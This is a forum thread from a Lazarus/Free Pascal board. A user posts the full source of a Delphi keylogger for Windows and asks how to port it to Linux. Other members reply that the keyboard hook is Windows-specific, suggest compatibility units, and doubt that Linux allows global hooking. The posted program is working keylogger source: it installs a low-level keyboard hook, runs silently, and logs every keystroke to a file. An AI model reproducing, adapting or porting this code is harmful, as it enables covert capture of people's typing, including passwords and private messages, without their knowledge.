Forum > General

Keylogger delphi-windows to lazarus-linux

(1/1)

luk2009:
I want to know if I can use this program in lazarus-linux
because when I try to convert it gives me an error with the VAR hHook


--- Code: ---program keylogger;
 
uses
  Windows,
  Messages,
  SysUtils;
 
var
  Terminar: Boolean;
 
const
  WH_KEYBOARD_LL = 13;
 
type
  KBDLLHOOKSTRUCT = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: int64;
  end;
 
  PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT;
 
var
  Mutex: THandle;
  hhk: HHOOK;
  log: TextFile;
  DeadKey: Boolean;
 
function LowLevelKeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  Str: String;
  KeyState: TKeyboardState;
  P: PKBDLLHOOKSTRUCT;
  C: Char;
begin                   
  try
    if Code = HC_ACTION then
    try
      WaitForSingleObject(Mutex, INFINITE);
      Str:= Format('%2.2x ',[wParam and $FF]);
      P:= PKBDLLHOOKSTRUCT(lParam);
      // No traducimos las vocales acentuadas, y simbolos raros
      if (P.vkCode in [$DE]) or (not((wParam and $FF) in [0..1]))  then
      begin
        DeadKey:= TRUE;
        Str:= Str + '- ';
      end else if DeadKey then
      begin
        DeadKey:= FALSE;
        Str:= Str + '- ';
      end else
      begin
        GetKeyBoardState(KeyState);
        if ToAscii(P.vkCode, P.scanCode,KeyState,@C,0) = 1 then
          if C >= #32 then
            Str:= Str + C + ' '
          else
            Str:= Str + '- '
        else
          Str:= Str + '- ';
      end;
      Str:= Format('%s%2.2x %2.2x %2.2x',[Str,P.vkCode,P.scanCode,P.flags]);
      {$I-}
        Writeln(log,Str);
      {$I+}
      Result:= 0;
    finally
      ReleaseMutex(Mutex);
    end else
      Result:= CallNextHookEx(hhk,Code,wParam,lParam);
  except
    Result:= 0;
  end;
end;
 
function StartHook: Boolean;
begin
  Result:= FALSE;
  hhk:= 0;
  Mutex:= CreateMutex(nil,FALSE,
    PChar(StringReplace(ParamStr(0),'\','/',[rfReplaceAll])));
  if GetLastError = 0 then
  begin
    AssignFile(log,ChangeFileExt(ParamStr(0),'.log'));
    {$I-}
      Append(log);
      if IOResult <> 0 then
        Rewrite(log);
    {$I+}
    DeadKey:= FALSE;
    if IOResult = 0 then
      hhk:= SetWindowsHookEx(WH_KEYBOARD_LL,@LowLevelKeyboardProc,0,0);
    Result:= hhk <> 0;
  end;
end;
 
procedure StopHook;
begin
  if hhk <> 0 then
    UnhookWindowsHookEx(hhk);
  {$I-}
    CloseFile(log);
  {$I+}
  if Mutex <> 0 then
    CloseHandle(Mutex);
end;
 
procedure ProcessMessages;
var
  Msg: TMsg;
begin
  while PeekMessage(Msg,0,0,0,PM_REMOVE) do
  begin
    if Msg.Message = WM_QUIT then
    begin
      Terminar:= TRUE;
      break;
    end else
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end;
  end;
end;
 
procedure TimerProc(Wnd: HWnd; Msg, TimerID, SysTime: Longint); stdcall;
begin
  {$I-}
    Flush(log);
  {$I+}
  SetProcessWorkingSetSize(GetCurrentProcess, $FFFFFFFF, $FFFFFFFF);
end;
 
begin
  Terminar:= FALSE;
  if not StartHook then
  begin
    StopHook;
    Halt;
  end;
  SetTimer(0,0,10000,@TimerProc);
  while not Terminar do
  try
    ProcessMessages;
    if Terminar then
    begin
      StopHook;
    end else
      Sleep(10)
  except
    //
  end;
end.
 
--- End code ---
website original code- Delphiaccess Domingo Seoane

Leledumbo:

--- Quote ---I want to know if I can use this program in lazarus-linux
--- End quote ---
By simply looking at your uses clause: No. You have Windows specific units there (Windows, Messages). The hooking mechanism is OS specific, and I don't think we have a cross platform solution for that...

JuhaManninen:

--- Quote from: Leledumbo on May 14, 2010, 08:57:54 am ---
--- Quote ---I want to know if I can use this program in lazarus-linux
--- End quote ---
By simply looking at your uses clause: No. You have Windows specific units there (Windows, Messages). The hooking mechanism is OS specific, and I don't think we have a cross platform solution for that...

--- End quote ---

Actually HHOOK is defined in Delphi compatibility unit LCLType.

You can try it yourself. Add package dependency "LCL" to your program.
Replace "Windows" in uses section with "LCLIntf, LCLType, LMessages".

Now, LowLevelKeyboardProc sounds like something that can't be easily ported. And yes, there are unknown identifiers:
"HC_ACTION", "WaitForSingleObject", "INFINITE" etc...

Some Windows expert could know how to port that. I don't know.

Juha

seba22:
I'm not expert, but i think it's impossible to hook keyboard on Linux.

As fare as i know X11 won't provide that kid of tool to grab keyboard input of inactive window.


Navigation

[0] Message Index

Go to full version